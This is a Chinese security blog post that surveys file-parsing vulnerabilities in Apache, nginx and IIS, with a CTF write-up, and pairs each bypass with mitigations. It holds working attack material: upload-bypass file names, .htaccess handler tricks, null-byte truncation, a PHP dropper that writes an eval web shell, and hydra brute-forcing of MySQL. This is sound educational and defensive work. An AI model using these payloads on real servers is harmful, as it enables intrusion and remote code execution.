服务器针对文件的解析漏洞汇总

分类: 小鸟云折扣卷 发布时间:2018-07-29 20:39

本文作者:微笑(信安之路 CTF 小组成员)

萌新第一次投稿,大概看了下公众号上没有服务器解析漏洞相关的文章,就来投一下,就当是复习一下学过的知识,加深印象。写的也不是很好,欢迎大家提出意见,一起进步。

文件解析漏洞,是指 Web 容器(Apache、nginx、iis 等)在解析文件时出现了漏洞,以其他格式执行出脚本格式的效果。从而,黑客可以利用该漏洞实现非法文件的解析。

总结一些常见服务器(WEB server)的解析漏洞

在 Apache1.x,2.x 中 Apache 解析文件的规则是从右到左开始判断解析, 如果后缀名为不可识别文件解析, 就再往左判断。

因此我可以上传一个 test.php.qwea 文件绕过验证且服务器依然会将其解析为 php。Apache 能够认识的文件在 mime.types 文件里:

后缀验证尽量使用白名单的方式,这样即使使用不存在的后缀名,也无法绕过。

1、如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含 .php  即使文件名是 test2.php.jpg 也会以 php 来执行。

2、如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg即使扩展名是 jpg,一样能以 php 方式执行。

1、apache 配置文件,禁止 .php. 这样的文件执行,配置文件里面加入

<Files~“.(php.|php3.)”>      Order Allow,Deny      Deny from all</Files>2、用伪静态能解决这个问题,重写类似.php.*这类文件,打开 apache 的 httpd.conf 找到

LoadModule rewrite_module modules/mod_rewrite.so

把 # 号去掉,重启 apache, 在网站根目录下建立 .htaccess 文件,代码如下:

<IfModulemod_rewrite.c>RewriteEngine OnRewriteRule .(php.|php3.) /index.phpRewriteRule .(pHp.|pHp3.) /index.phpRewriteRule .(phP.|phP3.) /index.phpRewriteRule .(Php.|Php3.) /index.phpRewriteRule .(PHp.|PHp3.) /index.phpRewriteRule .(PhP.|PhP3.) /index.phpRewriteRule .(pHP.|pHP3.) /index.phpRewriteRule .(PHP.|PHP3.) /index.php</IfModule>罕见后缀Apache 配置文件中会有.+.ph(p[345]?|t|tml)此类的正则表达式,被当 php 程序执行的文件名要符合正则表达式,否则就算 Apache 把某文件当 php 程序,php 自己不认它,也是无用。

也就是说php3,php4,php5,pht,phtml也是可以被解析的。

我在本地测试只有php3可以,应该是配置文件的问题,不过我并没有找到对应的正则表达式配置文件。

一般来说,配置文件的作用范围都是全局的,但 Apache 提供了一种很方便的、可作用于当前目录及其子目录的配置文件—— .htaccess(分布式配置文件)

要想使 .htaccess 文件生效,需要两个条件:

一是在 Apache 的配置文件中写上:

AllowOverrideAll若这样写则 .htaccess 不会生效:

AllowOverrideNone二是 Apache 要加载 mod_Rewrite 模块。加载该模块,需要在 Apache 的配置文件中写上:

LoadModulerewrite_module/usr/lib/apache2/modules/mod_rewrite.so若是在 Ubuntu 中,可能还需要执行命令:

sudoa2enmod rewrite配置完后需要重启 Apache。

.htaccess 文件可以配置很多事情,如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置 WWW 域名重定向、设置网页重定向、设置图片防盗链和访问权限控制。但我们这里只关心 .htaccess 文件的一个作用—— MIME 类型修改。

如在 .htaccess 文件中写入:

AddTypeapplication/x-httpd-phpxxx就成功地使该 .htaccess 文件所在目录及其子目录中的后缀为 .xxx 的文件被 Apache 当做 php 文件。

另一种写法是:

<FilesMatch"shell.jpg"> SetHandlerapplication/x-httpd-php</FilesMatch>该语句会让 Apache 把 shell.jpg 文件当作 php 文件来解析。

这里拿 2018 巅峰极客 CTF BabyWEB 这道题举例:

前面的过程不再细说,网上有详细的 WP ,这里主要讲如何利用 .htaccess 文件成功 getshell。

登陆后台后发现后台功能十分简单,只有个上传功能可以使用,上传后只有提示对错,得不到上传路径。

nmap 扫描发现 3306 开放

用 hydra 爆破 mysql 获得密码:1q2w3e4r5t6y

远程连接数据库,发现 backinfo 表,这个表的 type 字段是用来限制上传的文件后缀的。

在 type 里面添加 php php5 后缀都不能成功上传,但是添加 .htaccess 可以上传 .htaccess 文件。

我们先上传一个 .htaccess 来控制解析,然后再上传我们的 shell

在白名单中加入 webshell 后缀,我们再上传 .webshell 后缀的一句话便可以成功 getshell。

shell 文件名地址可以从数据库中读取出来

Getshell 成功

Fastcgi 协议分析 && PHP-FPM 未授权访问漏洞 && Exp 编写

当访问 xx.com/phpinfo.jpg/1.php 这个 URL 时,$fastcgi_script_name 会被设置为phpinfo.jpg/1.php,然后构造成 SCRIPT_FILENAME 传递给 PHP CGI。

Nginx 默认是以 CGI 的方式支持 PHP 解析的,普遍的做法是在 Nginx 配置文件中通过正则匹配设置 SCRIPT_FILENAME。

当访问 xx.com/phpinfo.jpg/1.php 这个 URL 时,$fastcgi_script_name 会被设置为phpinfo.jpg/1.php,然后构造成 SCRIPT_FILENAME 传递给 PHP CGI,但是 PHP 为什么会接受这样的参数,并将 phpinfo.jpg 作为 PHP 文件解析呢?

这就要说到 fix_pathinfo 这个选项了。 如果开启了这个选项,那么就会触发在 PHP 中的如下逻辑:

PHP 会认为 SCRIPT_FILENAME 是 phpinfo.jpg,而 1.php 是 PATH_INFO,所以就会将 phpinfo.jpg 作为 PHP 文件来解析了

另外一种手法:上传一个名字为 test.jpg,以下内容的文件:

<?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>然后访问 test.jpg/.php, 在这个目录下就会生成一句话木马 shell.php

这个解析漏洞其实是 PHP CGI 的漏洞,在 PHP 的配置文件中有一个关键的选项 cgi.fix_pathinfo 默认是开启的,当 URL 中有不存在的文件,PHP 就会向前递归解析。

这个往前递归的功能原本是想解决 /info.php/test 这种 URL,能够正确解析到 info.php。

在 Nginx 配置 fastcgi 使用 php 时,会存在文件类型解析问题。其实可以说它与 Nginx 本身关系不大,Nginx 只是作为一个代理把请求转发给 fastcgi Server,PHP 在后端处理这一切。因此在其他 fastcgi 环境下,PHP 也存在此问题,只是使用 Nginx 作为 Web Server 时,一般使用 fastcgi 的方式调用脚本解释器,这种使用方式最为常见。

1)使用 Apache、IIS 等成熟久经考验的服务器软件,在动态语言的支持上,Nginx 还是太年经了。你应该也偶尔会见到有些网站挂掉了显示个 nginx 错误出来,却极少见网站挂掉显示不是 nginx 的(未备案,过期欠费 等等除外)。

2)上传目录、静态资源(CSS/JS/图片等)目录,都设置好屏蔽 PHP 执行权限。例如使用 Apache 服务器的在相应目录下放一个 .htaccess 文件,里面写上:

<FilesMatch"(?i:\.php)$">   Denyfromall</FilesMatch>3)可以不提供原图访问,所有图片输出时都经过程序处理,也可以在上传存储时就处理一遍根本不保存原图;

4)图片使用不同的服务器,这样可以与业务代码数据完全隔离,即使图片服务器被黑了,也不会泄漏多少信息;

5) cgi.fix_pathinfo=0 慎用,除非你十分确定该服务器上的所有项目都不会因此而无法运行。

旧版本(0.5.,**0.6.,0.7,0.8<=0.7.65<=0.8.37)。通过利用此漏洞,攻击者可以导致服务器使用 PHP 的 FastCGI 作为 PHP 的服务器上执行任何公开访问的文件。

恶意用户发出请求%00.php就会将 file.ext 作为 PHP 文件解析。

如果一个攻击者可以控制文件的内容(即:使用头像上传形式)其结果是执行任意代码。Ngnix 在遇到 %00 空字节时与后端 FastCGI 处理不一致,导致可以在图片中嵌入 PHP 代码然后通过访问 xxx.jpg%00.php 来执行其中的代码。

1、禁止在上传文件目录下执行 php,在 nginx 虚拟机配置或者 fcgi.conf 配置加如下代码:

if($request_filename~*(.*)\.php) {   set$php_url$1;}if(!-e$php_url.php) {   return403;}2、升级到最新版本的 nginx

使用 iis5.x-6.x 版本的服务器,大多为 windows server 2003,网站比较古老,开发语言一般为 asp;该解析漏洞也只能解析 asp 文件,而不能解析 aspx 文件。

服务器默认会把 .asp,.asa 目录下的文件都解析成 asp 文件

服务器默认不解析;号后面的内容,因此 xx.asp;.jpg 便被解析成 asp 文件了。

有的网站在上传检测中会用"黑名单"方法 ,但是 IIS6.0 默认的可执行文件除了 asp 还包含这三种 :

/test.asa/test.cer/test.cdxiis 为什么会把 asa,cdx,cer 解析成 asp 文件?

原因是这四种扩展名都是用的同一个 asp.dll 文件来执行。

1、目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。

2、做好权限设置,限制用户创建文件夹。

IIS7.5 的漏洞与 nginx 的类似,都是由于 php 配置文件中,开启了 cgi.fix_pathinfo,而这并不是 nginx 或者 iis7.5 本身的漏洞。

跟 nginx 解析漏洞一样,要在 php.ini => cgi.fix_pathinfo=1 开启的情况才会产生。

可以配合操作系统文件命名规则,上传不符合 windows 文件命名规则的文件名

test.asp.test.asp(空格)test.php:1.jpgtest.php:: $DATA会被 windows 系统自动去掉不符合规则符号后面的内,然后再配合这个解析漏洞来执行文件。

条件:php 版本 < 5.3.4

filename=test.php%00.txt

1、上传时路径可控,使用 00 截断

2、文件下载时,00 截断绕过白名单检查

3、文件包含时,00 截断后面限制(主要是本地包含时)

4、其它与文件操作有关的地方都可能使用 00 截断。

在 windows 环境下,xx.jpg[空格] 或 xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows 会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单.若上传成功,空格和点都会被 windows 自动消除,这样也可以 getshell。这种方法可以配合文件解析漏洞从而产生更大的杀伤力。